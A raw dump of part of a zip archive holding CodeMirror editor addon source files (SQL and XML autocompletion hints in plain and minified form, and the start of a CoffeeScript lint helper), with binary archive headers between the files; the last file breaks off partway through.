e)e.hasOwnProperty(g)&&c(g,e[g]);var
h=a.options.extraKeys;if(h)for(var g in
h)h.hasOwnProperty(g)&&c(g,h[g]);return f}function
f(a,b){for(;b&&b!=a;){if("LI"===b.nodeName.toUpperCase()&&b.parentNode==a)return
b;b=b.parentNode}}function
g(b,c){this.completion=b,this.data=c,this.picked=!1;var
g=this,h=b.cm,i=h.getInputField().ownerDocument,j=i.defaultView||i.parentWindow,m=this.hints=i.createElement("ul"),n=b.cm.options.theme;m.className="CodeMirror-hints
"+n,this.selectedHint=c.selectedHint||0;for(var
o=c.list,p=0;p<o.length;++p){var
q=m.appendChild(i.createElement("li")),r=o[p],s=k+(p!=this.selectedHint?"":"
"+l);null!=r.className&&(s=r.className+"
"+s),q.className=s,r.render?r.render(q,c,r):q.appendChild(i.createTextNode(r.displayText||d(r))),q.hintId=p}var
t=b.options.container||i.body,u=h.cursorCoords(b.options.alignWithWord?c.from:null),v=u.left,w=u.bottom,x=!0,y=0,z=0;if(t!==i.body){var
A=-1!==["absolute","relative","fixed"].indexOf(j.getComputedStyle(t).position),B=A?t:t.offsetParent,C=B.getBoundingClientRect(),D=i.body.getBoundingClientRect();y=C.left-D.left-B.scrollLeft,z=C.top-D.top-B.scrollTop}m.style.left=v-y+"px",m.style.top=w-z+"px";var
E=j.innerWidth||Math.max(i.body.offsetWidth,i.documentElement.offsetWidth),F=j.innerHeight||Math.max(i.body.offsetHeight,i.documentElement.offsetHeight);t.appendChild(m);var
G=m.getBoundingClientRect(),H=G.bottom-F,I=m.scrollHeight>m.clientHeight+1,J=h.getScrollInfo();if(H>0){var
K=G.bottom-G.top;if(u.top-(u.bottom-G.top)-K>0)m.style.top=(w=u.top-K-z)+"px",x=!1;else
if(K>F){m.style.height=F-5+"px",m.style.top=(w=u.bottom-G.top-z)+"px";var
L=h.getCursor();c.from.ch!=L.ch&&(u=h.cursorCoords(L),m.style.left=(v=u.left-y)+"px",G=m.getBoundingClientRect())}}var
M=G.right-E;if(M>0&&(G.right-G.left>E&&(m.style.width=E-5+"px",M-=G.right-G.left-E),m.style.left=(v=u.left-M-y)+"px"),I)for(var
N=m.firstChild;N;N=N.nextSibling)N.style.paddingRight=h.display.nativeBarWidth+"px";if(h.addKeyMap(this.keyMap=e(b,{moveFocus:function(a,b){g.changeActive(g.selectedHint+a,b)},setFocus:function(a){g.changeActive(a)},menuSize:function(){return
g.screenAmount()},length:o.length,close:function(){b.close()},pick:function(){g.pick()},data:c})),b.options.closeOnUnfocus){var
O;h.on("blur",this.onBlur=function(){O=setTimeout((function(){b.close()}),100)}),h.on("focus",this.onFocus=function(){clearTimeout(O)})}return
h.on("scroll",this.onScroll=function(){var
a=h.getScrollInfo(),c=h.getWrapperElement().getBoundingClientRect(),d=w+J.top-a.top,e=d-(j.pageYOffset||(i.documentElement||i.body).scrollTop);if(x||(e+=m.offsetHeight),e<=c.top||e>=c.bottom)return
b.close();m.style.top=d+"px",m.style.left=v+J.left-a.left+"px"}),a.on(m,"dblclick",(function(a){var
b=f(m,a.target||a.srcElement);b&&null!=b.hintId&&(g.changeActive(b.hintId),g.pick())})),a.on(m,"click",(function(a){var
c=f(m,a.target||a.srcElement);c&&null!=c.hintId&&(g.changeActive(c.hintId),b.options.completeOnSingleClick&&g.pick())})),a.on(m,"mousedown",(function(){setTimeout((function(){h.focus()}),20)})),this.scrollToActive(),a.signal(c,"select",o[this.selectedHint],m.childNodes[this.selectedHint]),!0}function
h(a,b){if(!a.somethingSelected())return b;for(var
c=[],d=0;d<b.length;d++)b[d].supportsSelection&&c.push(b[d]);return
c}function i(a,b,c,d){if(a.async)a(b,d,c);else{var
e=a(b,c);e&&e.then?e.then(d):d(e)}}function j(b,c){var
d,e=b.getHelpers(c,"hint");if(e.length){var
f=function(a,b,c){function d(e){if(e==f.length)return
b(null);i(f[e],a,c,(function(a){a&&a.list.length>0?b(a):d(e+1)}))}var
f=h(a,e);d(0)};return
f.async=!0,f.supportsSelection=!0,f}return(d=b.getHelper(b.getCursor(),"hintWords"))?function(b){return
a.hint.fromList(b,{words:d})}:a.hint.anyword?function(b,c){return
a.hint.anyword(b,c)}:function(){}}var
k="CodeMirror-hint",l="CodeMirror-hint-active";a.showHint=function(a,b,c){if(!b)return
a.showHint(c);c&&c.async&&(b.async=!0);var
d={hint:b};if(c)for(var e in c)d[e]=c[e];return
a.showHint(d)},a.defineExtension("showHint",(function(d){d=c(this,this.getCursor("start"),d);var
e=this.listSelections();if(!(e.length>1)){if(this.somethingSelected()){if(!d.hint.supportsSelection)return;for(var
f=0;f<e.length;f++)if(e[f].head.line!=e[f].anchor.line)return}this.state.completionActive&&this.state.completionActive.close();var
g=this.state.completionActive=new
b(this,d);g.options.hint&&(a.signal(this,"startCompletion",this),g.update(!0))}})),a.defineExtension("closeHint",(function(){this.state.completionActive&&this.state.completionActive.close()}));var
m=window.requestAnimationFrame||function(a){return
setTimeout(a,1e3/60)},n=window.cancelAnimationFrame||clearTimeout;b.prototype={close:function(){this.active()&&(this.cm.state.completionActive=null,this.tick=null,this.cm.off("cursorActivity",this.activityFunc),this.widget&&this.data&&a.signal(this.data,"close"),this.widget&&this.widget.close(),a.signal(this.cm,"endCompletion",this.cm))},active:function(){return
this.cm.state.completionActive==this},pick:function(b,c){var
e=b.list[c],f=this;this.cm.operation((function(){e.hint?e.hint(f.cm,b,e):f.cm.replaceRange(d(e),e.from||b.from,e.to||b.to,"complete"),a.signal(b,"pick",e),f.cm.scrollIntoView()})),this.close()},cursorActivity:function(){this.debounce&&(n(this.debounce),this.debounce=0);var
a=this.startPos;this.data&&(a=this.data.from);var
b=this.cm.getCursor(),c=this.cm.getLine(b.line);if(b.line!=this.startPos.line||c.length-b.ch!=this.startLen-this.startPos.ch||b.ch<a.ch||this.cm.somethingSelected()||!b.ch||this.options.closeCharacters.test(c.charAt(b.ch-1)))this.close();else{var
d=this;this.debounce=m((function(){d.update()})),this.widget&&this.widget.disable()}},update:function(a){if(null!=this.tick){var
b=this,c=++this.tick;i(this.options.hint,this.cm,this.options,(function(d){b.tick==c&&b.finishUpdate(d,a)}))}},finishUpdate:function(b,c){this.data&&a.signal(this.data,"update");var
d=this.widget&&this.widget.picked||c&&this.options.completeSingle;this.widget&&this.widget.close(),this.data=b,b&&b.list.length&&(d&&1==b.list.length?this.pick(b,0):(this.widget=new
g(this,b),a.signal(b,"shown")))}},g.prototype={close:function(){if(this.completion.widget==this){this.completion.widget=null,this.hints.parentNode.removeChild(this.hints),this.completion.cm.removeKeyMap(this.keyMap);var
a=this.completion.cm;this.completion.options.closeOnUnfocus&&(a.off("blur",this.onBlur),a.off("focus",this.onFocus)),a.off("scroll",this.onScroll)}},disable:function(){this.completion.cm.removeKeyMap(this.keyMap);var
a=this;this.keyMap={Enter:function(){a.picked=!0}},this.completion.cm.addKeyMap(this.keyMap)},pick:function(){this.completion.pick(this.data,this.selectedHint)},changeActive:function(b,c){if(b>=this.data.list.length?b=c?this.data.list.length-1:0:b<0&&(b=c?0:this.data.list.length-1),this.selectedHint!=b){var
d=this.hints.childNodes[this.selectedHint];d&&(d.className=d.className.replace("
"+l,"")),d=this.hints.childNodes[this.selectedHint=b],d.className+="
"+l,this.scrollToActive(),a.signal(this.data,"select",this.data.list[this.selectedHint],d)}},scrollToActive:function(){var
a=this.completion.options.scrollMargin||0,b=this.hints.childNodes[Math.max(0,this.selectedHint-a)],c=this.hints.childNodes[Math.min(this.data.list.length-1,this.selectedHint+a)],d=this.hints.firstChild;b.offsetTop<this.hints.scrollTop?this.hints.scrollTop=b.offsetTop-d.offsetTop:c.offsetTop+c.offsetHeight>this.hints.scrollTop+this.hints.clientHeight&&(this.hints.scrollTop=c.offsetTop+c.offsetHeight-this.hints.clientHeight+d.offsetTop)},screenAmount:function(){return
Math.floor(this.hints.clientHeight/this.hints.firstChild.offsetHeight)||1}},a.registerHelper("hint","auto",{resolve:j}),a.registerHelper("hint","fromList",(function(b,c){var
d,e=b.getCursor(),f=b.getTokenAt(e),g=a.Pos(e.line,f.start),h=e;f.start<e.ch&&/\w/.test(f.string.charAt(e.ch-f.start-1))?d=f.string.substr(0,e.ch-f.start):(d="",g=e);for(var
i=[],j=0;j<c.words.length;j++){var
k=c.words[j];k.slice(0,d.length)==d&&i.push(k)}if(i.length)return{list:i,from:g,to:h}})),a.commands.autocomplete=a.showHint;var
o={hint:a.hint.auto,completeSingle:!0,alignWithWord:!0,closeCharacters:/[\s()\[\]{};:>,]/,closeOnUnfocus:!0,completeOnSingleClick:!0,container:null,customKeys:null,extraKeys:null};a.defineOption("hintOptions",null)}));PK6��[D�І�%�%!codemirror/addon/hint/sql-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../mode/sql/sql"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../mode/sql/sql"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var tables;
  var defaultTable;
  var keywords;
  var identifierQuote;
  var CONS = {
    QUERY_DIV: ";",
    ALIAS_KEYWORD: "AS"
  };
  var Pos = CodeMirror.Pos, cmpPos = CodeMirror.cmpPos;

  function isArray(val) { return Object.prototype.toString.call(val) ==
"[object Array]" }

  function getKeywords(editor) {
    var mode = editor.doc.modeOption;
    if (mode === "sql") mode = "text/x-sql";
    return CodeMirror.resolveMode(mode).keywords;
  }

  function getIdentifierQuote(editor) {
    var mode = editor.doc.modeOption;
    if (mode === "sql") mode = "text/x-sql";
    return CodeMirror.resolveMode(mode).identifierQuote || "`";
  }

  function getText(item) {
    return typeof item == "string" ? item : item.text;
  }

  function wrapTable(name, value) {
    if (isArray(value)) value = {columns: value}
    if (!value.text) value.text = name
    return value
  }

  function parseTables(input) {
    var result = {}
    if (isArray(input)) {
      for (var i = input.length - 1; i >= 0; i--) {
        var item = input[i]
        result[getText(item).toUpperCase()] = wrapTable(getText(item),
item)
      }
    } else if (input) {
      for (var name in input)
        result[name.toUpperCase()] = wrapTable(name, input[name])
    }
    return result
  }

  function getTable(name) {
    return tables[name.toUpperCase()]
  }

  function shallowClone(object) {
    var result = {};
    for (var key in object) if (object.hasOwnProperty(key))
      result[key] = object[key];
    return result;
  }

  function match(string, word) {
    var len = string.length;
    var sub = getText(word).substr(0, len);
    return string.toUpperCase() === sub.toUpperCase();
  }

  function addMatches(result, search, wordlist, formatter) {
    if (isArray(wordlist)) {
      for (var i = 0; i < wordlist.length; i++)
        if (match(search, wordlist[i])) result.push(formatter(wordlist[i]))
    } else {
      for (var word in wordlist) if (wordlist.hasOwnProperty(word)) {
        var val = wordlist[word]
        if (!val || val === true)
          val = word
        else
          val = val.displayText ? {text: val.text, displayText:
val.displayText} : val.text
        if (match(search, val)) result.push(formatter(val))
      }
    }
  }

  function cleanName(name) {
    // Get rid name from identifierQuote and preceding dot(.)
    if (name.charAt(0) == ".") {
      name = name.substr(1);
    }
    // replace doublicated identifierQuotes with single identifierQuotes
    // and remove single identifierQuotes
    var nameParts = name.split(identifierQuote+identifierQuote);
    for (var i = 0; i < nameParts.length; i++)
      nameParts[i] = nameParts[i].replace(new
RegExp(identifierQuote,"g"), "");
    return nameParts.join(identifierQuote);
  }

  function insertIdentifierQuotes(name) {
    var nameParts = getText(name).split(".");
    for (var i = 0; i < nameParts.length; i++)
      nameParts[i] = identifierQuote +
        // doublicate identifierQuotes
        nameParts[i].replace(new RegExp(identifierQuote,"g"),
identifierQuote+identifierQuote) +
        identifierQuote;
    var escaped = nameParts.join(".");
    if (typeof name == "string") return escaped;
    name = shallowClone(name);
    name.text = escaped;
    return name;
  }

  function nameCompletion(cur, token, result, editor) {
    // Try to complete table, column names and return start position of
completion
    var useIdentifierQuotes = false;
    var nameParts = [];
    var start = token.start;
    var cont = true;
    while (cont) {
      cont = (token.string.charAt(0) == ".");
      useIdentifierQuotes = useIdentifierQuotes || (token.string.charAt(0)
== identifierQuote);

      start = token.start;
      nameParts.unshift(cleanName(token.string));

      token = editor.getTokenAt(Pos(cur.line, token.start));
      if (token.string == ".") {
        cont = true;
        token = editor.getTokenAt(Pos(cur.line, token.start));
      }
    }

    // Try to complete table names
    var string = nameParts.join(".");
    addMatches(result, string, tables, function(w) {
      return useIdentifierQuotes ? insertIdentifierQuotes(w) : w;
    });

    // Try to complete columns from defaultTable
    addMatches(result, string, defaultTable, function(w) {
      return useIdentifierQuotes ? insertIdentifierQuotes(w) : w;
    });

    // Try to complete columns
    string = nameParts.pop();
    var table = nameParts.join(".");

    var alias = false;
    var aliasTable = table;
    // Check if table is available. If not, find table by Alias
    if (!getTable(table)) {
      var oldTable = table;
      table = findTableByAlias(table, editor);
      if (table !== oldTable) alias = true;
    }

    var columns = getTable(table);
    if (columns && columns.columns)
      columns = columns.columns;

    if (columns) {
      addMatches(result, string, columns, function(w) {
        var tableInsert = table;
        if (alias == true) tableInsert = aliasTable;
        if (typeof w == "string") {
          w = tableInsert + "." + w;
        } else {
          w = shallowClone(w);
          w.text = tableInsert + "." + w.text;
        }
        return useIdentifierQuotes ? insertIdentifierQuotes(w) : w;
      });
    }

    return start;
  }

  function eachWord(lineText, f) {
    var words = lineText.split(/\s+/)
    for (var i = 0; i < words.length; i++)
      if (words[i]) f(words[i].replace(/[,;]/g, ''))
  }

  function findTableByAlias(alias, editor) {
    var doc = editor.doc;
    var fullQuery = doc.getValue();
    var aliasUpperCase = alias.toUpperCase();
    var previousWord = "";
    var table = "";
    var separator = [];
    var validRange = {
      start: Pos(0, 0),
      end: Pos(editor.lastLine(),
editor.getLineHandle(editor.lastLine()).length)
    };

    //add separator
    var indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV);
    while(indexOfSeparator != -1) {
      separator.push(doc.posFromIndex(indexOfSeparator));
      indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV,
indexOfSeparator+1);
    }
    separator.unshift(Pos(0, 0));
    separator.push(Pos(editor.lastLine(),
editor.getLineHandle(editor.lastLine()).text.length));

    //find valid range
    var prevItem = null;
    var current = editor.getCursor()
    for (var i = 0; i < separator.length; i++) {
      if ((prevItem == null || cmpPos(current, prevItem) > 0) &&
cmpPos(current, separator[i]) <= 0) {
        validRange = {start: prevItem, end: separator[i]};
        break;
      }
      prevItem = separator[i];
    }

    if (validRange.start) {
      var query = doc.getRange(validRange.start, validRange.end, false);

      for (var i = 0; i < query.length; i++) {
        var lineText = query[i];
        eachWord(lineText, function(word) {
          var wordUpperCase = word.toUpperCase();
          if (wordUpperCase === aliasUpperCase &&
getTable(previousWord))
            table = previousWord;
          if (wordUpperCase !== CONS.ALIAS_KEYWORD)
            previousWord = word;
        });
        if (table) break;
      }
    }
    return table;
  }

  CodeMirror.registerHelper("hint", "sql",
function(editor, options) {
    tables = parseTables(options && options.tables)
    var defaultTableName = options && options.defaultTable;
    var disableKeywords = options && options.disableKeywords;
    defaultTable = defaultTableName && getTable(defaultTableName);
    keywords = getKeywords(editor);
    identifierQuote = getIdentifierQuote(editor);

    if (defaultTableName && !defaultTable)
      defaultTable = findTableByAlias(defaultTableName, editor);

    defaultTable = defaultTable || [];

    if (defaultTable.columns)
      defaultTable = defaultTable.columns;

    var cur = editor.getCursor();
    var result = [];
    var token = editor.getTokenAt(cur), start, end, search;
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    if (token.string.match(/^[.`"'\w@][\w$#]*$/g)) {
      search = token.string;
      start = token.start;
      end = token.end;
    } else {
      start = end = cur.ch;
      search = "";
    }
    if (search.charAt(0) == "." || search.charAt(0) ==
identifierQuote) {
      start = nameCompletion(cur, token, result, editor);
    } else {
      var objectOrClass = function(w, className) {
        if (typeof w === "object") {
          w.className = className;
        } else {
          w = { text: w, className: className };
        }
        return w;
      };
    addMatches(result, search, defaultTable, function(w) {
        return objectOrClass(w, "CodeMirror-hint-table
CodeMirror-hint-default-table");
    });
    addMatches(
        result,
        search,
        tables, function(w) {
          return objectOrClass(w, "CodeMirror-hint-table");
        }
    );
    if (!disableKeywords)
      addMatches(result, search, keywords, function(w) {
          return objectOrClass(w.toUpperCase(),
"CodeMirror-hint-keyword");
      });
  }

    return {list: result, from: Pos(cur.line, start), to: Pos(cur.line,
end)};
  });
});
PK6��[���%codemirror/addon/hint/sql-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../mode/sql/sql")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../mode/sql/sql"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return"[object
Array]"==Object.prototype.toString.call(a)}function c(b){var
c=b.doc.modeOption;return"sql"===c&&(c="text/x-sql"),a.resolveMode(c).keywords}function
d(b){var
c=b.doc.modeOption;return"sql"===c&&(c="text/x-sql"),a.resolveMode(c).identifierQuote||"`"}function
e(a){return"string"==typeof a?a:a.text}function f(a,c){return
b(c)&&(c={columns:c}),c.text||(c.text=a),c}function g(a){var
c={};if(b(a))for(var d=a.length-1;d>=0;d--){var
g=a[d];c[e(g).toUpperCase()]=f(e(g),g)}else if(a)for(var h in
a)c[h.toUpperCase()]=f(h,a[h]);return c}function h(a){return
q[a.toUpperCase()]}function i(a){var b={};for(var c in
a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}function j(a,b){var
c=a.length,d=e(b).substr(0,c);return
a.toUpperCase()===d.toUpperCase()}function k(a,c,d,e){if(b(d))for(var
f=0;f<d.length;f++)j(c,d[f])&&a.push(e(d[f]));else for(var g in
d)if(d.hasOwnProperty(g)){var
h=d[g];h=h&&!0!==h?h.displayText?{text:h.text,displayText:h.displayText}:h.text:g,j(c,h)&&a.push(e(h))}}function
l(a){"."==a.charAt(0)&&(a=a.substr(1));for(var
b=a.split(t+t),c=0;c<b.length;c++)b[c]=b[c].replace(new
RegExp(t,"g"),"");return b.join(t)}function
m(a){for(var
b=e(a).split("."),c=0;c<b.length;c++)b[c]=t+b[c].replace(new
RegExp(t,"g"),t+t)+t;var
d=b.join(".");return"string"==typeof
a?d:(a=i(a),a.text=d,a)}function n(a,b,c,d){for(var
e=!1,f=[],g=b.start,j=!0;j;)j="."==b.string.charAt(0),e=e||b.string.charAt(0)==t,g=b.start,f.unshift(l(b.string)),b=d.getTokenAt(v(a.line,b.start)),"."==b.string&&(j=!0,b=d.getTokenAt(v(a.line,b.start)));var
n=f.join(".");k(c,n,q,(function(a){return
e?m(a):a})),k(c,n,r,(function(a){return e?m(a):a})),n=f.pop();var
o=f.join("."),s=!1,u=o;if(!h(o)){var
w=o;o=p(o,d),o!==w&&(s=!0)}var x=h(o);return
x&&x.columns&&(x=x.columns),x&&k(c,n,x,(function(a){var
b=o;return 1==s&&(b=u),"string"==typeof
a?a=b+"."+a:(a=i(a),a.text=b+"."+a.text),e?m(a):a})),g}function
o(a,b){for(var
c=a.split(/\s+/),d=0;d<c.length;d++)c[d]&&b(c[d].replace(/[,;]/g,""))}function
p(a,b){for(var
c=b.doc,d=c.getValue(),e=a.toUpperCase(),f="",g="",i=[],j={start:v(0,0),end:v(b.lastLine(),b.getLineHandle(b.lastLine()).length)},k=d.indexOf(u.QUERY_DIV);-1!=k;)i.push(c.posFromIndex(k)),k=d.indexOf(u.QUERY_DIV,k+1);i.unshift(v(0,0)),i.push(v(b.lastLine(),b.getLineHandle(b.lastLine()).text.length));for(var
l=null,m=b.getCursor(),n=0;n<i.length;n++){if((null==l||w(m,l)>0)&&w(m,i[n])<=0){j={start:l,end:i[n]};break}l=i[n]}if(j.start)for(var
p=c.getRange(j.start,j.end,!1),n=0;n<p.length;n++){var
q=p[n];if(o(q,(function(a){var
b=a.toUpperCase();b===e&&h(f)&&(g=f),b!==u.ALIAS_KEYWORD&&(f=a)})),g)break}return
g}var
q,r,s,t,u={QUERY_DIV:";",ALIAS_KEYWORD:"AS"},v=a.Pos,w=a.cmpPos;a.registerHelper("hint","sql",(function(a,b){q=g(b&&b.tables);var
e=b&&b.defaultTable,f=b&&b.disableKeywords;r=e&&h(e),s=c(a),t=d(a),e&&!r&&(r=p(e,a)),r=r||[],r.columns&&(r=r.columns);var
i,j,l,m=a.getCursor(),o=[],u=a.getTokenAt(m);if(u.end>m.ch&&(u.end=m.ch,u.string=u.string.slice(0,m.ch-u.start)),u.string.match(/^[.`"'\w@][\w$#]*$/g)?(l=u.string,i=u.start,j=u.end):(i=j=m.ch,l=""),"."==l.charAt(0)||l.charAt(0)==t)i=n(m,u,o,a);else{var
w=function(a,b){return"object"==typeof
a?a.className=b:a={text:a,className:b},a};k(o,l,r,(function(a){return
w(a,"CodeMirror-hint-table
CodeMirror-hint-default-table")})),k(o,l,q,(function(a){return
w(a,"CodeMirror-hint-table")})),f||k(o,l,s,(function(a){return
w(a.toUpperCase(),"CodeMirror-hint-keyword")}))}return{list:o,from:v(m.line,i),to:v(m.line,j)}}))}));PK6��[WL?P��!codemirror/addon/hint/xml-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function matches(hint, typed, matchInMiddle) {
    if (matchInMiddle) return hint.indexOf(typed) >= 0;
    else return hint.lastIndexOf(typed, 0) == 0;
  }

  function getHints(cm, options) {
    var tags = options && options.schemaInfo;
    var quote = (options && options.quoteChar) ||
'"';
    var matchInMiddle = options && options.matchInMiddle;
    if (!tags) return;
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (!inner.mode.xmlCurrentTag) return
    var result = [], replaceToken = false, prefix;
    var tag = /\btag\b/.test(token.type) &&
!/>$/.test(token.string);
    var tagName = tag && /^\w/.test(token.string), tagStart;

    if (tagName) {
      var before = cm.getLine(cur.line).slice(Math.max(0, token.start - 2),
token.start);
      var tagType = /<\/$/.test(before) ? "close" :
/<$/.test(before) ? "open" : null;
      if (tagType) tagStart = token.start - (tagType == "close" ?
2 : 1);
    } else if (tag && token.string == "<") {
      tagType = "open";
    } else if (tag && token.string == "</") {
      tagType = "close";
    }

    var tagInfo = inner.mode.xmlCurrentTag(inner.state)
    if (!tag && !tagInfo || tagType) {
      if (tagName)
        prefix = token.string;
      replaceToken = tagType;
      var context = inner.mode.xmlCurrentContext ?
inner.mode.xmlCurrentContext(inner.state) : []
      var inner = context.length && context[context.length - 1]
      var curTag = inner && tags[inner]
      var childList = inner ? curTag && curTag.children :
tags["!top"];
      if (childList && tagType != "close") {
        for (var i = 0; i < childList.length; ++i) if (!prefix ||
matches(childList[i], prefix, matchInMiddle))
          result.push("<" + childList[i]);
      } else if (tagType != "close") {
        for (var name in tags)
          if (tags.hasOwnProperty(name) && name != "!top"
&& name != "!attrs" && (!prefix || matches(name,
prefix, matchInMiddle)))
            result.push("<" + name);
      }
      if (inner && (!prefix || tagType == "close"
&& matches(inner, prefix, matchInMiddle)))
        result.push("</" + inner + ">");
    } else {
      // Attribute completion
      var curTag = tagInfo && tags[tagInfo.name], attrs = curTag
&& curTag.attrs;
      var globalAttrs = tags["!attrs"];
      if (!attrs && !globalAttrs) return;
      if (!attrs) {
        attrs = globalAttrs;
      } else if (globalAttrs) { // Combine tag-local and global attributes
        var set = {};
        for (var nm in globalAttrs) if (globalAttrs.hasOwnProperty(nm))
set[nm] = globalAttrs[nm];
        for (var nm in attrs) if (attrs.hasOwnProperty(nm)) set[nm] =
attrs[nm];
        attrs = set;
      }
      if (token.type == "string" || token.string ==
"=") { // A value
        var before = cm.getRange(Pos(cur.line, Math.max(0, cur.ch - 60)),
                                 Pos(cur.line, token.type ==
"string" ? token.start : token.end));
        var atName =
before.match(/([^\s\u00a0=<>\"\']+)=$/), atValues;
        if (!atName || !attrs.hasOwnProperty(atName[1]) || !(atValues =
attrs[atName[1]])) return;
        if (typeof atValues == 'function') atValues =
atValues.call(this, cm); // Functions can be used to supply values for
autocomplete widget
        if (token.type == "string") {
          prefix = token.string;
          var n = 0;
          if (/['"]/.test(token.string.charAt(0))) {
            quote = token.string.charAt(0);
            prefix = token.string.slice(1);
            n++;
          }
          var len = token.string.length;
          if (/['"]/.test(token.string.charAt(len - 1))) {
            quote = token.string.charAt(len - 1);
            prefix = token.string.substr(n, len - 2);
          }
          if (n) { // an opening quote
            var line = cm.getLine(cur.line);
            if (line.length > token.end &&
line.charAt(token.end) == quote) token.end++; // include a closing quote
          }
          replaceToken = true;
        }
        for (var i = 0; i < atValues.length; ++i) if (!prefix ||
matches(atValues[i], prefix, matchInMiddle))
          result.push(quote + atValues[i] + quote);
      } else { // An attribute name
        if (token.type == "attribute") {
          prefix = token.string;
          replaceToken = true;
        }
        for (var attr in attrs) if (attrs.hasOwnProperty(attr) &&
(!prefix || matches(attr, prefix, matchInMiddle)))
          result.push(attr);
      }
    }
    return {
      list: result,
      from: replaceToken ? Pos(cur.line, tagStart == null ? token.start :
tagStart) : cur,
      to: replaceToken ? Pos(cur.line, token.end) : cur
    };
  }

  CodeMirror.registerHelper("hint", "xml", getHints);
});
PK6��[دg�		%codemirror/addon/hint/xml-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c){return
c?a.indexOf(b)>=0:0==a.lastIndexOf(b,0)}function c(c,e){var
f=e&&e.schemaInfo,g=e&&e.quoteChar||'"',h=e&&e.matchInMiddle;if(f){var
i=c.getCursor(),j=c.getTokenAt(i);j.end>i.ch&&(j.end=i.ch,j.string=j.string.slice(0,i.ch-j.start));var
k=a.innerMode(c.getMode(),j.state);if(k.mode.xmlCurrentTag){var
l,m,n=[],o=!1,p=/\btag\b/.test(j.type)&&!/>$/.test(j.string),q=p&&/^\w/.test(j.string);if(q){var
r=c.getLine(i.line).slice(Math.max(0,j.start-2),j.start),s=/<\/$/.test(r)?"close":/<$/.test(r)?"open":null;s&&(m=j.start-("close"==s?2:1))}else
p&&"<"==j.string?s="open":p&&"</"==j.string&&(s="close");var
t=k.mode.xmlCurrentTag(k.state);if(!p&&!t||s){q&&(l=j.string),o=s;var
u=k.mode.xmlCurrentContext?k.mode.xmlCurrentContext(k.state):[],k=u.length&&u[u.length-1],v=k&&f[k],w=k?v&&v.children:f["!top"];if(w&&"close"!=s)for(var
x=0;x<w.length;++x)l&&!b(w[x],l,h)||n.push("<"+w[x]);else
if("close"!=s)for(var y in
f)!f.hasOwnProperty(y)||"!top"==y||"!attrs"==y||l&&!b(y,l,h)||n.push("<"+y);k&&(!l||"close"==s&&b(k,l,h))&&n.push("</"+k+">")}else{var
v=t&&f[t.name],z=v&&v.attrs,A=f["!attrs"];if(!z&&!A)return;if(z){if(A){var
B={};for(var C in A)A.hasOwnProperty(C)&&(B[C]=A[C]);for(var C in
z)z.hasOwnProperty(C)&&(B[C]=z[C]);z=B}}else
z=A;if("string"==j.type||"="==j.string){var
D,r=c.getRange(d(i.line,Math.max(0,i.ch-60)),d(i.line,"string"==j.type?j.start:j.end)),E=r.match(/([^\s\u00a0=<>\"\']+)=$/);if(!E||!z.hasOwnProperty(E[1])||!(D=z[E[1]]))return;if("function"==typeof
D&&(D=D.call(this,c)),"string"==j.type){l=j.string;var
F=0;/['"]/.test(j.string.charAt(0))&&(g=j.string.charAt(0),l=j.string.slice(1),F++);var
G=j.string.length;if(/['"]/.test(j.string.charAt(G-1))&&(g=j.string.charAt(G-1),l=j.string.substr(F,G-2)),F){var
H=c.getLine(i.line);H.length>j.end&&H.charAt(j.end)==g&&j.end++}o=!0}for(var
x=0;x<D.length;++x)l&&!b(D[x],l,h)||n.push(g+D[x]+g)}else{"attribute"==j.type&&(l=j.string,o=!0);for(var
I in
z)!z.hasOwnProperty(I)||l&&!b(I,l,h)||n.push(I)}}return{list:n,from:o?d(i.line,null==m?j.start:m):i,to:o?d(i.line,j.end):i}}}}var
d=a.Pos;a.registerHelper("hint","xml",c)}));PK6��[x�p��*codemirror/addon/lint/coffeescript-lint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Depends on coffeelint.js from http://www.coffeelint.org/js/coffeelint.js

// declare global: coffeelint

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "coffeescript",
function(text) {
  var found = [];
  if (!window.coffeelint) {
    if (window.console) {
      window.console.error("Error: window.coffeelint not defined,
CodeMirror CoffeeScript linting cannot run.");
    }
    return found;
  }
  var parseError = function(err) {
    var loc = err.lineNumber;
    found.push({from: CodeMirror.Pos(loc-1, 0),
                to: CodeMirror.Pos(loc, 0),
                severity: err.level,
                message: err.message});
  };
  try {
    var res = coffeelint.lint(text);
    for(var i = 0; i < res.length; i++) {
      parseError(res[i]);
    }
  } catch(e) {
    found.push({from: CodeMirror.Pos(e.location.first_line, 0),
